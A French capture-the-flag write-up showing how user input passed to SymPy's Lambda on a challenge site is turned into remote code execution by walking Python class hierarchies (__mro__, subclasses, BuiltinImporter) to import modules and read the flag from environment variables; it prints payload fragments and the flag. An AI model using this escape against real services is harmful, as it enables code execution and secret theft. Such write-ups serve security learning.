Parseur Farceur

Flag: CYBN{Wh@t_A_cRAzy_PaRS3r}

Challenge

Description


Utiliser des fonctions de SymPy avec des données arbitraires ne présente aucun risque, si ?

Solution

Il fallait passer par une des fonctions de Sympy, ici je suis passé par Lambda. Elle permet d'appliquer une fonction à un Symbol. On peut donc détourner le Symbol eécuter du code arbitraire :

Lambda(x, x.func)

De là, on utilise la même démarche que dans les pyjail pour remonter les objets jusqu'à importer les modules que l'on veut avec le module BuiltinImporter.

Remote Code Execution

Ici, je vais détailler comment on arrive au payload final pour comprendre le principe, mais on peut juste copié-collé un payload tout fait et l'adapter.

On commence par chercher la classe object en local :

from sympy import Lambda, Symbol
x = Symbol('x')
Lambda(x, x.func.__class__.__mro__[1])
# sympy.core.sympify.SympifyError: Sympify of expression 'could not parse "<class 'object'>"' failed

Maintenant qu'on a le début de notre payload qui permet d'obtenir la classe object, on peut retourner sur le site et l'envoyer pour récupérer toutes les classes définies (puisqu'elles héritent toutes d'elle) :

On cherche dans ce grand tableau notre classe BuiltinImporter :

a = """<class 'type'>, <class 'async_generator'>, <cla...""".split(', ')
[(i, a[i]) for i in range(len(a)) if 'Importer' in a[i]]
# [(120, "<class '_frozen_importlib.BuiltinImporter'>"), (121, "<class '_frozen_importlib.FrozenImporter'>")]

De là, on peut charger n'importe quelle librairie :

Le flag est dans les variables d'environnement.

Dernière mise à jour

Cet article vous a-t-il été utile ?